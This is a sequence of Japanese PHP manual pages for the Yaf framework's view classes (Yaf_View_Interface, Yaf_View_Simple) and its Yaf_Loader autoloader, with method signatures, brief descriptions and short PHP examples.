  • Yaf_View_Interface
  • 値をビューエンジンに代入する

Yaf_View_Interface::assign

(Yaf >=1.0.0)

Yaf_View_Interface::assign — 値をビューエンジンに代入する

説明

abstract public Yaf_View_Interface::assign ( string $name , string $value = ? ) : bool

値をビューエンジンに代入します。これで、テンプレートから名前を指定してその値にアクセスできるようになります。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

name

value

返り値

User Contributed Notes

There are no user contributed notes for this page.


テンプレートをレンダリングして出力する

  • ≪ Yaf_View_Interface::assign
  • Yaf_View_Interface::getScriptPath ≫
  • PHP Manual
  • Yaf_View_Interface
  • テンプレートをレンダリングして出力する

Yaf_View_Interface::display

(Yaf >=1.0.0)

Yaf_View_Interface::display — テンプレートをレンダリングして出力する

説明

abstract public Yaf_View_Interface::display ( string $tpl , array $tpl_vars = ? ) : bool

テンプレートをレンダリングし、結果をすぐに出力します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

tpl

tpl_vars

返り値

User Contributed Notes

There are no user contributed notes for this page.


The getScriptPath purpose

  • ≪ Yaf_View_Interface::display
  • Yaf_View_Interface::render ≫
  • PHP Manual
  • Yaf_View_Interface
  • The getScriptPath purpose

Yaf_View_Interface::getScriptPath

(Yaf >=1.0.0)

Yaf_View_Interface::getScriptPath — The getScriptPath purpose

説明

abstract public Yaf_View_Interface::getScriptPath ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


テンプレートをレンダリングする

  • ≪ Yaf_View_Interface::getScriptPath
  • Yaf_View_Interface::setScriptPath ≫
  • PHP Manual
  • Yaf_View_Interface
  • テンプレートをレンダリングする

Yaf_View_Interface::render

(Yaf >=1.0.0)

Yaf_View_Interface::render — テンプレートをレンダリングする

説明

abstract public Yaf_View_Interface::render ( string $tpl , array $tpl_vars = ? ) : string

テンプレートをレンダリングし、結果を返します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

tpl

tpl_vars

返り値

User Contributed Notes

There are no user contributed notes for this page.


The setScriptPath purpose

  • ≪ Yaf_View_Interface::render
  • Yaf_View_Simple ≫
  • PHP Manual
  • Yaf_View_Interface
  • The setScriptPath purpose

Yaf_View_Interface::setScriptPath

(Yaf >=1.0.0)

Yaf_View_Interface::setScriptPath — The setScriptPath purpose

説明

abstract public Yaf_View_Interface::setScriptPath ( string $template_dir ) : void

テンプレートのベースディレクトリを設定します。これは通常、 Yaf_Dispatcher から呼ばれます。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

template_dir

テンプレートディレクトリへの絶対パス。デフォルトは application.directory . "/views" です。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Yaf_View_Simple クラス

(Yaf >=1.0.0)

はじめに

Yaf_View_Simple は Yaf の組み込みテンプレートエンジンです。 シンプルながらも高速なテンプレートエンジンで、PHP スクリプトテンプレートだけに対応しています。

クラス概要

Yaf_View_Simple implements Yaf_View_Interface {
/* プロパティ */
protected $_tpl_vars ;
protected $_tpl_dir ;
/* メソッド */
public assign ( string $name , mixed $value = ? ) : bool
public assignRef ( string $name , mixed &$value ) : bool
public clear ( string $name = ? ) : bool
final public __construct ( string $template_dir , array $options = ? )
public display ( string $tpl , array $tpl_vars = ? ) : bool
public eval ( string $tpl_content , array $tpl_vars = ? ) : string
public __get ( string $name = ? ) : void
public getScriptPath ( ) : string
public __isset ( string $name ) : void
public render ( string $tpl , array $tpl_vars = ? ) : string
public __set ( string $name , mixed $value ) : void
public setScriptPath ( string $template_dir ) : bool
}

プロパティ

_tpl_vars

_tpl_dir

目次

  • Yaf_View_Simple::assign — 値を代入する
  • Yaf_View_Simple::assignRef — The assignRef purpose
  • Yaf_View_Simple::clear — 代入した値をクリアする
  • Yaf_View_Simple::__construct — Yaf_View_Simple のコンストラクタ
  • Yaf_View_Simple::display — レンダリングして表示する
  • Yaf_View_Simple::eval — テンプレートをレンダリングする
  • Yaf_View_Simple::__get — Retrieve assigned variable
  • Yaf_View_Simple::getScriptPath — テンプレートのディレクトリを取得する
  • Yaf_View_Simple::__isset — The __isset purpose
  • Yaf_View_Simple::render — テンプレートをレンダリングする
  • Yaf_View_Simple::__set — 値をエンジンに設定する
  • Yaf_View_Simple::setScriptPath — テンプレートのディレクトリを設定する

User Contributed Notes

There are no user contributed notes for this page.


値を代入する

  • ≪ Yaf_View_Simple
  • Yaf_View_Simple::assignRef ≫
  • PHP Manual
  • Yaf_View_Simple
  • 値を代入する

Yaf_View_Simple::assign

(Yaf >=1.0.0)

Yaf_View_Simple::assign — 値を代入する

説明

public Yaf_View_Simple::assign ( string $name , mixed $value = ? ) : bool

変数をビューエンジンに代入します。

パラメータ

name

文字列あるいは配列。

文字列の場合は、次の引数 $value が必須となります。

value

代入する値。

返り値

例

例1 Yaf_View_Simple::assign() の例

<?php
class IndexController extends Yaf_Controller_Abstract {
    public function indexAction() {
        $this->getView()->assign("foo", "bar");
        $this->_view->assign( array( "key" => "value", "name" => "value"));
    }
?>

例2 テンプレートの例

<html>
 <head>
  <title><?php echo $foo; ?></title>
 </head>
<body>
  <?php
    foreach ($this->_tpl_vars as $name => value) {
         echo $$name; // or echo $this->_tpl_vars[$name];
    }
  ?>
</body>
</html>

参考

  • Yaf_View_Simple::assignRef() - The assignRef purpose
  • Yaf_View_Interface::clear()
  • Yaf_View_Simple::__set() - 値をエンジンに設定する

User Contributed Notes

There are no user contributed notes for this page.


The assignRef purpose

  • ≪ Yaf_View_Simple::assign
  • Yaf_View_Simple::clear ≫
  • PHP Manual
  • Yaf_View_Simple
  • The assignRef purpose

Yaf_View_Simple::assignRef

(Yaf >=1.0.0)

Yaf_View_Simple::assignRef — The assignRef purpose

説明

public Yaf_View_Simple::assignRef ( string $name , mixed &$value ) : bool

Yaf_View_Simple::assign() とは異なり、 このメソッドは参照で値をエンジンに代入します。

パラメータ

name

テンプレート内でのアクセスに使う名前。

value

代入する値。

返り値

例

例1 Yaf_View_Simple::assignRef() の例

<?php
class IndexController extends Yaf_Controller_Abstract {
    public function indexAction() {
        $value = "bar";
        $this->getView()->assign("foo", $value);

        /* Yaf 2.1.4 より前のバージョンにはバグがあり、
         * この出力が "bar" になっていました
         */
        $dummy = $this->getView()->render("index/index.phtml");
        echo $value;

        // 自動レンダリングを無効にします
        Yaf_Dispatcher::getInstance()->autoRender(FALSE);
    }
?>

例2 テンプレートの例

<html>
 <head>
  <title><?php echo $foo;  $foo = "changed"; ?></title>
 </head>
<body>
</body>
</html>

上の例の出力は、 たとえば以下のようになります。

/* index コントローラにアクセスしたときの結果 */
changed

参考

  • Yaf_View_Simple::assign() - 値を代入する
  • Yaf_View_Simple::__set() - 値をエンジンに設定する

User Contributed Notes

There are no user contributed notes for this page.


代入した値をクリアする

  • ≪ Yaf_View_Simple::assignRef
  • Yaf_View_Simple::__construct ≫
  • PHP Manual
  • Yaf_View_Simple
  • 代入した値をクリアする

Yaf_View_Simple::clear

(Yaf >=2.2.0)

Yaf_View_Simple::clear — 代入した値をクリアする

説明

public Yaf_View_Simple::clear ( string $name = ? ) : bool

代入した値をクリアします。

パラメータ

name

代入した変数名。

空の場合は、すべての変数をクリアします。

返り値

例

例1 Yaf_View_Simple::clear() の例

<?php
class IndexController extends Yaf_Controller_Abstract {
    public function indexAction() {
        $this->getView()->clear("foo")->clear("bar"); // "foo" と "bar" をクリアします。
        $this->_view->clear(); // 全ての変数をクリアします
    }
?>

参考

  • Yaf_View_Simple::assignRef() - The assignRef purpose
  • Yaf_View_Interface::assign() - 値をビューエンジンに代入する
  • Yaf_View_Simple::__set() - 値をエンジンに設定する

User Contributed Notes

There are no user contributed notes for this page.


Yaf_View_Simple のコンストラクタ

  • ≪ Yaf_View_Simple::clear
  • Yaf_View_Simple::display ≫
  • PHP Manual
  • Yaf_View_Simple
  • Yaf_View_Simple のコンストラクタ

Yaf_View_Simple::__construct

(Yaf >=1.0.0)

Yaf_View_Simple::__construct — Yaf_View_Simple のコンストラクタ

説明

final public Yaf_View_Simple::__construct ( string $template_dir , array $options = ? )

パラメータ

template_dir

テンプレートのベースディレクトリ。デフォルトは APPLICATOIN . "/views" です。

options

エンジンのオプション。Yaf 2.1.13 からは、短いタグ
      "<?=$var?>" を ("short_open_tag" の値にかかわらず)
      テンプレートで使えるようになりました。
      オプション "short_tag" をオフにすると、テンプレートで短いタグを使わないようにできます。

例

例1 Yaf_View_Simple::__constructor() の例

<?php
   define ("TEMPLATE_DIRECTORY", APPLICATOIN_PATH . '/views');
   $view = new Yaf_View_Simple(TEMPLATE_DIRECTORY, array(
                           'short_tag' => false // テンプレートで短いタグを使わせないようにします
   ));
?>

返り値

User Contributed Notes

There are no user contributed notes for this page.


レンダリングして表示する

  • ≪ Yaf_View_Simple::__construct
  • Yaf_View_Simple::eval ≫
  • PHP Manual
  • Yaf_View_Simple
  • レンダリングして表示する

Yaf_View_Simple::display

(Yaf >=1.0.0)

Yaf_View_Simple::display — レンダリングして表示する

説明

public Yaf_View_Simple::display ( string $tpl , array $tpl_vars = ? ) : bool

テンプレートをレンダリングして、結果をすぐに返します。

パラメータ

tpl

tpl_vars

返り値

User Contributed Notes

There are no user contributed notes for this page.


テンプレートをレンダリングする

  • ≪ Yaf_View_Simple::display
  • Yaf_View_Simple::__get ≫
  • PHP Manual
  • Yaf_View_Simple
  • テンプレートをレンダリングする

Yaf_View_Simple::eval

(Yaf >=2.2.0)

Yaf_View_Simple::eval — テンプレートをレンダリングする

説明

public Yaf_View_Simple::eval ( string $tpl_content , array $tpl_vars = ? ) : string

文字列のテンプレートをレンダリングして結果を返します。

パラメータ

tpl_content

文字列のテンプレート。

tpl_vars

返り値

User Contributed Notes

There are no user contributed notes for this page.


Retrieve assigned variable

  • ≪ Yaf_View_Simple::eval
  • Yaf_View_Simple::getScriptPath ≫
  • PHP Manual
  • Yaf_View_Simple
  • Retrieve assigned variable

Yaf_View_Simple::__get

(Yaf >=1.0.0)

Yaf_View_Simple::__get — Retrieve assigned variable

説明

public Yaf_View_Simple::__get ( string $name = ? ) : void

代入した変数を取得します。

注意:

2.1.11 からは、パラメータを空にできます。

パラメータ

name

代入した変数名。

空にすると、すべての変数を返します。

返り値

User Contributed Notes

There are no user contributed notes for this page.


テンプレートのディレクトリを取得する

  • ≪ Yaf_View_Simple::__get
  • Yaf_View_Simple::__isset ≫
  • PHP Manual
  • Yaf_View_Simple
  • テンプレートのディレクトリを取得する

Yaf_View_Simple::getScriptPath

(Yaf >=1.0.0)

Yaf_View_Simple::getScriptPath — テンプレートのディレクトリを取得する

説明

public Yaf_View_Simple::getScriptPath ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The __isset purpose

  • ≪ Yaf_View_Simple::getScriptPath
  • Yaf_View_Simple::render ≫
  • PHP Manual
  • Yaf_View_Simple
  • The __isset purpose

Yaf_View_Simple::__isset

(Yaf >=1.0.0)

Yaf_View_Simple::__isset — The __isset purpose

説明

public Yaf_View_Simple::__isset ( string $name ) : void

パラメータ

name

返り値

User Contributed Notes

There are no user contributed notes for this page.


テンプレートをレンダリングする

  • ≪ Yaf_View_Simple::__isset
  • Yaf_View_Simple::__set ≫
  • PHP Manual
  • Yaf_View_Simple
  • テンプレートをレンダリングする

Yaf_View_Simple::render

(Yaf >=1.0.0)

Yaf_View_Simple::render — テンプレートをレンダリングする

説明

public Yaf_View_Simple::render ( string $tpl , array $tpl_vars = ? ) : string

テンプレートをレンダリングして、結果を返します。

パラメータ

tpl

tpl_vars

返り値

User Contributed Notes

There are no user contributed notes for this page.


値をエンジンに設定する

  • ≪ Yaf_View_Simple::render
  • Yaf_View_Simple::setScriptPath ≫
  • PHP Manual
  • Yaf_View_Simple
  • 値をエンジンに設定する

Yaf_View_Simple::__set

(Yaf >=1.0.0)

Yaf_View_Simple::__set — 値をエンジンに設定する

説明

public Yaf_View_Simple::__set ( string $name , mixed $value ) : void

Yaf_View_Simple::assign() をもっと簡単にするもうひとつの方法です。

パラメータ

name

変数名。

value

変数の値。

返り値

例

例1 Yaf_View_Simple::__set() の例

<?php
class IndexController extends Yaf_Controller_Abstract {
    public function indexAction() {
        $this->getView()->foo = "bar"; // assign("foo", "bar"); と同じ意味
    }
?>

参考

  • Yaf_View_Simple::assignRef() - The assignRef purpose
  • Yaf_View_Interface::assign() - 値をビューエンジンに代入する

User Contributed Notes

There are no user contributed notes for this page.


テンプレートのディレクトリを設定する

  • ≪ Yaf_View_Simple::__set
  • Yaf_Loader ≫
  • PHP Manual
  • Yaf_View_Simple
  • テンプレートのディレクトリを設定する

Yaf_View_Simple::setScriptPath

(Yaf >=1.0.0)

Yaf_View_Simple::setScriptPath — テンプレートのディレクトリを設定する

説明

public Yaf_View_Simple::setScriptPath ( string $template_dir ) : bool

パラメータ

template_dir

返り値

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Loader クラス

(Yaf >=1.0.0)

はじめに

Yaf_Loader は、 Yaf 用に包括的なオートローディング機能を導入します。

最初に Yaf_Application のインスタンスを取得するときに、 Yaf_Loader はシングルトンのインスタンスを作って それを spl_autoload に登録します。このインスタンスを取得するには Yaf_Loader::getInstance() を使います。

Yaf_Loader は、クラスのロードを一度だけ試みます。 失敗した場合の挙動は yaf.use_spl_auload によって変わります。もしこの設定が On なら Yaf_Loader::autoload() は false を返し、 他のオートロード関数でやり直せるようになります。この設定が Off (デフォルト) の場合は Yaf_Loader::autoload() が true を返します。 そして、より重要なのは、このときに警告メッセージが出ることです (このメッセージを見れば、なぜロードできなかったのかがわかります)。

注意:

yaf.use_spl_autoload はできるだけ Off のままにしておきましょう。 ただし、何かのライブラリが自前のオートロード機構を持っていて、 それを置き換えるのが不可能だという場合は別です。

デフォルトでは、Yaf_Loader はすべてのライブラリ (クラスを定義したスクリプト) が グローバル ライブラリディレクトリ に格納されているものとみなします。このディレクトリは、 php.ini (yaf.library) で指定します。

Yaf_Loader がクラス (ライブラリ) を探すときに ローカルクラスディレクトリ (application.ini で定義するもので、デフォルトは application.directory . "/library") も検索対象とさせたい場合は、クラスのプレフィックスを Yaf_Loader::registerLocalNameSpace() で登録する必要があります。

いくつか例を示します (APPLICATION_PATH は application.directory であるものとします)。

例1 設定の例

// php.ini で、これを設定しているものとします
yaf.library = "/global_dir"

// application.ini で、これを設定しているものとします
application.library = APPLICATION_PATH "/library"
また、次のローカル名前空間を登録しているものとします。

例2 localnamespace の登録

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract{
     public function _initLoader($dispatcher) {
          Yaf_Loader::getInstance()->registerLocalNameSpace(array("Foo", "Bar"));
     }
?>
オートロードの例です。

例3 クラスのロード

class Foo_Bar_Test =>
  // APPLICATION_PATH/library/Foo/Bar/Test.php

class GLO_Name  =>
  // /global_dir/Glo/Name.php

class BarNon_Test
  // /global_dir/Barnon/Test.php
PHP 5.3 からは、名前空間も使えます。

例4 名前空間つきのクラスのロード

class \Foo\Bar\Dummy =>
   // APPLICATION_PATH/library/Foo/Bar/Dummy.php

class \FooBar\Bar\Dummy =>
   // /global_dir/FooBar/Bar/Dummy.php

すべてのフォルダの先頭が大文字になっているのが気になる場合は、php.ini で yaf.lowcase_path = On とすれば小文字にすることもできます。

Yaf_Loader は MVC クラスを読み込むようにも作られています。 次のような規約に従います。

例5 MVC クラスのロード

Controller Classes =>
// APPLICATION_PATH/controllers/

Model Classes =>
// APPLICATION_PATH/models/

Plugin Classes =>
// APPLICATION_PATH/plugins/
クラスのサフィックス (デフォルト設定の場合。プレフィックスを使うには yaf.name_suffix の値を変更します) で、MVC クラスであるかそうでないかを判断します。

例6 MVC クラスかどうかの区別

Controller Classes =>
    // ***Controller

Model Classes =>
    // ***Model

Plugin Classes =>
    // ***Plugin
例を示します。

例7 MVC のロード

class IndexController
    // APPLICATION_PATH/controllers/Index.php

class DataModel =>
   // APPLICATION_PATH/models/Data.php

class DummyPlugin =>
  // APPLICATION_PATH/plugins/Dummy.php

class A_B_TestModel =>
  // APPLICATION_PATH/models/A/B/Test.php

注意:

2.1.18 からは、Yaf はユーザースクリプト側からのコントローラのオートロードに対応しました (つまり、ユーザーが書いた PHP スクリプトからオートロードを実行できるということです。 ブートストラップやプラグインから、コントローラの静的プロパティにアクセスできます)。 しかし、オートローダーがコントローラクラスを探す場所は、デフォルトのモジュールフォルダつまり "APPLICATION_PATH/controllers/" だけになります。

また、ディレクトリは yaf.lowcase_path の影響を受けます。

クラス概要

Yaf_Loader {
/* プロパティ */
protected $_local_ns ;
protected $_library ;
protected $_global_library ;
static $_instance ;
/* メソッド */
public autoload ( ) : void
public clearLocalNamespace ( ) : void
private __construct ( )
public static getInstance ( ) : void
public getLibraryPath ( bool $is_global = false ) : Yaf_Loader
public getLocalNamespace ( ) : void
public getNamespacePath ( string $namespaces ) : string
public getNamespaces ( ) : array
public static import ( ) : void
public isLocalName ( ) : void
public registerLocalNamespace ( mixed $prefix ) : void
public registerNamespace ( string|array $namespaces , string $path = ? ) : bool
public setLibraryPath ( string $directory , bool $is_global = false ) : Yaf_Loader
}

プロパティ

_local_ns

_library

デフォルトでは、この値は application.directory . "/library" となります。この値を変更するには、application.ini (application.library) で設定するか、あるいは Yaf_Loader::setLibraryPath() をコールします。

_global_library

_instance

目次

  • Yaf_Loader::autoload — The autoload purpose
  • Yaf_Loader::clearLocalNamespace — The clearLocalNamespace purpose
  • Yaf_Loader::__construct — The __construct purpose
  • Yaf_Loader::getInstance — The getInstance purpose
  • Yaf_Loader::getLibraryPath — ライブラリパスを取得する
  • Yaf_Loader::getLocalNamespace — The getLocalNamespace purpose
  • Yaf_Loader::getNamespacePath — Retieve path of a registered namespace
  • Yaf_Loader::getLocalNamespace — Retrive all register namespaces info
  • Yaf_Loader::import — The import purpose
  • Yaf_Loader::isLocalName — The isLocalName purpose
  • Yaf_Loader::registerLocalNamespace — ローカルクラスプレフィックスを登録する
  • Yaf_Loader::registerNamespace — Register namespace with searching path
  • Yaf_Loader::setLibraryPath — ライブラリパスを変更する

User Contributed Notes

There are no user contributed notes for this page.


The autoload purpose

  • ≪ Yaf_Loader
  • Yaf_Loader::clearLocalNamespace ≫
  • PHP Manual
  • Yaf_Loader
  • The autoload purpose

Yaf_Loader::autoload

(Yaf >=1.0.0)

Yaf_Loader::autoload — The autoload purpose

説明

public Yaf_Loader::autoload ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The clearLocalNamespace purpose

  • ≪ Yaf_Loader::autoload
  • Yaf_Loader::__construct ≫
  • PHP Manual
  • Yaf_Loader
  • The clearLocalNamespace purpose

Yaf_Loader::clearLocalNamespace

(Yaf >=1.0.0)

Yaf_Loader::clearLocalNamespace — The clearLocalNamespace purpose

説明

public Yaf_Loader::clearLocalNamespace ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • ≪ Yaf_Loader::clearLocalNamespace
  • Yaf_Loader::getInstance ≫
  • PHP Manual
  • Yaf_Loader
  • The __construct purpose

Yaf_Loader::__construct

(Yaf >=1.0.0)

Yaf_Loader::__construct — The __construct purpose

説明

private Yaf_Loader::__construct ( )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The getInstance purpose

  • ≪ Yaf_Loader::__construct
  • Yaf_Loader::getLibraryPath ≫
  • PHP Manual
  • Yaf_Loader
  • The getInstance purpose

Yaf_Loader::getInstance

(Yaf >=1.0.0)

Yaf_Loader::getInstance — The getInstance purpose

説明

public static Yaf_Loader::getInstance ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


ライブラリパスを取得する

  • ≪ Yaf_Loader::getInstance
  • Yaf_Loader::getLocalNamespace ≫
  • PHP Manual
  • Yaf_Loader
  • ライブラリパスを取得する

Yaf_Loader::getLibraryPath

(Yaf >=2.1.4)

Yaf_Loader::getLibraryPath — ライブラリパスを取得する

説明

public Yaf_Loader::getLibraryPath ( bool $is_global = false ) : Yaf_Loader

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The getLocalNamespace purpose

  • ≪ Yaf_Loader::getLibraryPath
  • Yaf_Loader::getNamespacePath ≫
  • PHP Manual
  • Yaf_Loader
  • The getLocalNamespace purpose

Yaf_Loader::getLocalNamespace

(Yaf >=1.0.0)

Yaf_Loader::getLocalNamespace — The getLocalNamespace purpose

説明

public Yaf_Loader::getLocalNamespace ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Retieve path of a registered namespace

  • ≪ Yaf_Loader::getLocalNamespace
  • Yaf_Loader::getLocalNamespace ≫
  • PHP Manual
  • Yaf_Loader
  • Retieve path of a registered namespace

Yaf_Loader::getNamespacePath

(Yaf >=3.2.0)

Yaf_Loader::getNamespacePath — Retieve path of a registered namespace

説明

public Yaf_Loader::getNamespacePath ( string $namespaces ) : string

retrieve path of a registered namespace

パラメータ

namespace

a string of namespace.

返り値

string path, if the namespace is not registered, then null default library will be returned

例

例1 Yaf_Loader::registerNamespace()example

<?php
$loader = Yaf_Loader::getInstance("/var/application/lib");
$loader->registerNamespace("\Vendor\PHP", "/var/lib/php");

$loader->getNamespacePath("\Vendor\PHP"); // '/var/lib/php'
$loader->getNamespacePath("\Vendor\JSP"); // '/var/application/lib'

?>

User Contributed Notes

There are no user contributed notes for this page.


Retrive all register namespaces info

  • ≪ Yaf_Loader::getNamespacePath
  • Yaf_Loader::import ≫
  • PHP Manual
  • Yaf_Loader
  • Retrive all register namespaces info

Yaf_Loader::getLocalNamespace

(Yaf >=1.0.0)

Yaf_Loader::getLocalNamespace — Retrive all register namespaces info

説明

public Yaf_Loader::getNamespaces ( ) : array

get registered namespaces info

パラメータ

この関数にはパラメータはありません。

返り値

array

User Contributed Notes

There are no user contributed notes for this page.


The import purpose

  • ≪ Yaf_Loader::getLocalNamespace
  • Yaf_Loader::isLocalName ≫
  • PHP Manual
  • Yaf_Loader
  • The import purpose

Yaf_Loader::import

(Yaf >=1.0.0)

Yaf_Loader::import — The import purpose

説明

public static Yaf_Loader::import ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The isLocalName purpose

  • ≪ Yaf_Loader::import
  • Yaf_Loader::registerLocalNamespace ≫
  • PHP Manual
  • Yaf_Loader
  • The isLocalName purpose

Yaf_Loader::isLocalName

(Yaf >=1.0.0)

Yaf_Loader::isLocalName — The isLocalName purpose

説明

public Yaf_Loader::isLocalName ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


ローカルクラスプレフィックスを登録する

  • ≪ Yaf_Loader::isLocalName
  • Yaf_Loader::registerNamespace ≫
  • PHP Manual
  • Yaf_Loader
  • ローカルクラスプレフィックスを登録する

Yaf_Loader::registerLocalNamespace

(Yaf >=1.0.0)

Yaf_Loader::registerLocalNamespace — ローカルクラスプレフィックスを登録する

説明

public Yaf_Loader::registerLocalNamespace ( mixed $prefix ) : void

ローカルクラスプレフィックスを登録します。 Yaf_Loader がクラスを探すときには、二つのライブラリディレクトリを探します。 一方は application.ini の application.library.directory(in で設定したもので、これをローカルライブラリディレクトリと呼びます。 もう一方は php.ini の yaf.library で設定したもので、これをグローバルライブラリディレクトリと呼びます。 同一サーバー内のいろんなアプリケーションで共有できるからです。

オートロード時に、Yaf_Loader がどちらのライブラリディレクトリを探すのかを判断します。 その際には、存在しないクラス名のプレフィックスを判断材料にします。 プレフィックスの名前が localnamespace として登録されていれば ローカルライブラリディレクトリから探し、そうでなければグローバルライブラリディレクトリから探します。

注意:

yaf.library が設定されていない場合、グローバルライブラリディレクトリは ローカルライブラリディレクトリと同じ場所であるとみなします。 その場合、オートロード時にはすべてローカルライブラリディレクトリを探します。 Yaf アプリケーションを強くするには、 自分のクラスはローカルクラスとして登録するようにしましょう。

パラメータ

prefix

クラス名のプレフィックスを表す文字列あるいは配列。 ローカルライブラリパスにある、このプレフィックスを含むすべてのクラスが読み込まれます。

返り値

bool

例

例1 Yaf_Loader::registerLocalNamespace() の例

<?php
$loader = Yaf_Loader::getInstance('/local/library/', '/global/library');
$loader->registerLocalNamespace("Baidu");
$loader->registerLocalNamespace(array("Sina", "Weibo"));

$loader->autoload("Baidu_Name"); // search in '/local/library/'
$loader->autoload("Sina");       // search '/local/library/'
$loader->autoload("Global_Name");// search in '/global/library/'
$loader->autoload("Foo_Bar");    // search in '/global/library/'

?>

User Contributed Notes

There are no user contributed notes for this page.


Register namespace with searching path

  • ≪ Yaf_Loader::registerLocalNamespace
  • Yaf_Loader::setLibraryPath ≫
  • PHP Manual
  • Yaf_Loader
  • Register namespace with searching path

Yaf_Loader::registerNamespace

(Yaf >=3.2.0)

Yaf_Loader::registerNamespace — Register namespace with searching path

説明

public Yaf_Loader::registerNamespace ( string|array $namespaces , string $path = ? ) : bool

Register a namespace with searching path, Yaf_Loader searchs classes under this namespace in path, the one is also could be configureded via application.library.directory.namespace(in application.ini);

注意:

Yaf still think underline as folder separator.

パラメータ

namespace

a string of namespace, or a array of namespaces with paths.

path

a string of path, it it better to use abosolute path here for performance

返り値

bool

例

例1 Yaf_Loader::registerNamespace()example

<?php
$loader = Yaf_Loader::getInstance();
$loader->registerNamespace("\Vendor\PHP", "/var/lib/php");
$loader->registerNamespace(array(
     "\Vendor\ASP" => "/var/lib/asp",
     "\Vendor\JSP" => "/usr/lib/vendor/",
));

$loader->autoload("\Vendor\PHP\Dummy");   //load '/var/lib/php/Dummy.php'
$loader->autoload("\Vendor\PHP\Foo_Bar"); //load '/var/lib/php/Foo/Bar.php'
$loader->autoload("\Vendor\JSP\Dummy");   //load '/usr/lib/vendor/Dummy.php'

?>

User Contributed Notes

There are no user contributed notes for this page.


ライブラリパスを変更する

  • ≪ Yaf_Loader::registerNamespace
  • Yaf_Plugin_Abstract ≫
  • PHP Manual
  • Yaf_Loader
  • ライブラリパスを変更する

Yaf_Loader::setLibraryPath

(Yaf >=2.1.4)

Yaf_Loader::setLibraryPath — ライブラリパスを変更する

説明

public Yaf_Loader::setLibraryPath ( string $directory , bool $is_global = false ) : Yaf_Loader

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Plugin_Abstract クラス

(Yaf >=1.0.0)

はじめに

プラグインを使えば、フレームワークの拡張やカスタマイズを簡単に行えます。

プラグインは、クラスとして定義します。 実際のクラスの定義はコンポーネントによって異なります。 このインターフェイスを実装する必要があるかもしれませんが、 プラグイン自体がクラスであるという事実は変わりません。

プラグインを Yaf にロードするには Yaf_Dispatcher::registerPlugin() を使います。登録を済ませれば、このインターフェイスに従って実装した すべてのメソッドが適切な場面で呼ばれます。

例

例1 プラグインの例

<?php
   /* bootstrap class should be defined under ./application/Bootstrap.php */
   class Bootstrap extends Yaf_Bootstrap_Abstract {
        public function _initPlugin(Yaf_Dispatcher $dispatcher) {
            /* register a plugin */
            $dispatcher->registerPlugin(new TestPlugin());
        }
   }

   /* plugin class should be placed under ./application/plugins/ */
   class TestPlugin extends Yaf_Plugin_Abstract {
        public function routerStartup(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
            /* before router
               in this hook,  user can do some url rewrite */
            var_dump("routerStartup");
        }
        public function routerShutdown(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
            /* router complete
               in this hook, user can do login check */
            var_dump("routerShutdown");
        }
        public function dispatchLoopStartup(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
            var_dump("dispatchLoopStartup");
        }
        public function preDispatch(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
            var_dump("preDispatch");
        }
        public function postDispatch(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
            var_dump("postDispatch");
        }
        public function dispatchLoopShutdown(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
            /* final hook
               in this hook user can do logging or implement layout */
            var_dump("dispatchLoopShutdown");
        }
   }

   Class IndexController extends Yaf_Controller_Abstract {
        public function indexAction() {
            return FALSE; //prevent rendering
        }
   }

   $config = array(
       "application" => array(
           "directory" => dirname(__FILE__) . "/application/",
       ),
   );

   $app = new Yaf_Application($config);
   $app->bootstrap()->run();
?>

上の例の出力は、 たとえば以下のようになります。

string(13) "routerStartup"
string(14) "routerShutdown"
string(19) "dispatchLoopStartup"
string(11) "preDispatch"
string(12) "postDispatch"
string(20) "dispatchLoopShutdown"

クラス概要

Yaf_Plugin_Abstract {
/* メソッド */
public dispatchLoopShutdown ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response ) : void
public dispatchLoopStartup ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response ) : void
public postDispatch ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response ) : void
